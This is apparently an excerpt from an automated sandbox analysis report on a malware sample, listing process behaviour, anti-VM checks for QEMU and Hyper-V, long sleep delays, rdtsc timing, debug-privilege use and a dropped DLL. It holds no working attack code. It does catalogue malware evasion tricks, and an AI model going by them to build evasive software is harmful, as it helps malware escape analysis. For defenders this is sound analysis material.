Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect Any.run

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Program Files\qga\qga.exe
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	File opened: C:\Program Files\qga\qga.exe

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: powershell.exe, 00000004.00000002.3158860748.0000000009060000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE

Source: C:\Windows\explorer.exe TID: 1544

Thread sleep time: -160000s >= -30000s

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.dll

Jump to dropped file

Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe

Code function: 21_2_1EF0CE40 rdtsc

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Window / User API: threadDelayed 9194

Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe

API coverage: 1.1 %

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 4_2_07ED5E70 GetSystemInfo,

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

System information queried: ModuleInformation

Source: powershell.exe, 00000004.00000002.3173947431.000000000B609000.00000004.00000800.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3491341572.0000000004DD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: powershell.exe, 00000004.00000002.3173947431.000000000B609000.00000004.00000800.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3491341572.0000000004DD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: ielowutil.exe, 00000015.00000002.3491341572.0000000004DD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: powershell.exe, 00000004.00000002.3173947431.000000000B609000.00000004.00000800.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3491341572.0000000004DD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: explorer.exe, 00000016.00000000.2962923162.000000000D6C9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3217241697.000000000D6C9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3363785721.000000000D6C9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: powershell.exe, 00000004.00000002.3173947431.000000000B609000.00000004.00000800.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3491341572.0000000004DD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: powershell.exe, 00000004.00000002.3173947431.000000000B609000.00000004.00000800.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3491341572.0000000004DD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: ielowutil.exe, 00000015.00000002.3491341572.0000000004DD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: ielowutil.exe, 00000015.00000003.3480804459.000000000332F000.00000004.00000020.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000003.2876616616.0000000003365000.00000004.00000020.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3489499087.0000000003330000.00000004.00000020.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000003.3482060149.0000000003365000.00000004.00000020.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3490596692.0000000003365000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3380165644.0000000010D9C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.3126162706.0000000010D9C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.2988307182.0000000010D9C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ielowutil.exe, 00000015.00000003.3481308758.0000000003348000.00000004.00000020.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3489945907.0000000003348000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW:%
Source: powershell.exe, 00000004.00000002.3158860748.0000000009060000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: powershell.exe, 00000004.00000002.3173947431.000000000B609000.00000004.00000800.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3491341572.0000000004DD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: powershell.exe, 00000004.00000002.3173947431.000000000B609000.00000004.00000800.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3491341572.0000000004DD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: powershell.exe, 00000004.00000002.3173947431.000000000B609000.00000004.00000800.00020000.00000000.sdmp, ielowutil.exe, 00000015.00000002.3491341572.0000000004DD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: ielowutil.exe, 00000015.00000002.3491341572.0000000004DD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat
Source: firefox.exe, 0000001E.00000002.4154993499.00000231AF32F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll11

Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe

Code function: 21_2_1EF0CE40 rdtsc

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Process token adjusted: Debug

Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEC1EED mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEC1EED mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEC1EED mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE92EE8 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE92EE8 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE92EE8 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE92EE8 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE93EE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF33EFC mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF4EEE7 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE8CEF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE8CEF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE8CEF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE8CEF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE8CEF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE8CEF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF59ED2 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF17EC3 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF17EC3 mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EED1ED8 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF64EC1 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EECBED0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EECCEA0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEC2EB8 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEC2EB8 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA1EB2 mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA1EB2 mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA1EB2 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA1EB2 mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA1EB2 mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA1EB2 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA1EB2 mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA1EB2 mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA1EB2 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA1EB2 mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA1EB2 mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA1EB2 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF50EAD mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF50EAD mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBAE89 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBAE89 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBBE80 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE8BE60 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE8BE60 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF4EE78 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF64E62 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF40E6D mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF40E6D mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF40E6D mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF40E6D mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF40E6D mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF40E6D mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF40E6D mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF40E6D mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF40E6D mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF40E6D mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF40E6D mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF40E6D mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF40E6D mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF40E6D mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE91E70 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EECCE70 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEC7E71 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF0DE50 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF0DE50 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF0DE50 mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF0DE50 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF0DE50 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBEE48 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE8FE40 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE8AE40 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE8AE40 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE8AE40 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE8DE45 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE8DE45 mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF26E30 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF26E30 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF25E30 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF25E30 mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF25E30 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF25E30 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF25E30 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF25E30 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF58E26 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF58E26 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF58E26 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF58E26 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EECCE3F mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE92E32 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE93E01 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE96E00 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE96E00 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE96E00 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE96E00 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF0FE1F mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF0FE1F mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF0FE1F mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF0FE1F mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE8BE18 mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF64E03 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEC8E15 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE93E14 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE93E14 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE93E14 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF64FFF mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA6FE0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA6FE0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA6FE0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA6FE0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA6FE0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA6FE0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA6FE0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA6FE0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA6FE0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA6FE0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA6FE0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA6FE0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA6FE0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA6FE0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA6FE0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA6FE0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA6FE0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA6FE0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEB8FFB mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF4EFD3 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE8BFC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF0FFDC mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF0FFDC mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF0FFDC mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF0FFDC mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF0FFDC mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF0FFDC mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE89FD0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF11FC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF11FC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF11FC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF11FC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF11FC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF11FC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF11FC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF11FC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF11FC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF11FC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF11FC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF11FC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF11FC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF11FC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF11FC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE91FAA mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEC8FBC mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBCFB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBCFB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE94FB6 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBBF93 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA0F90 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA0F90 mov ecx, dword ptr fs:[00000030h]
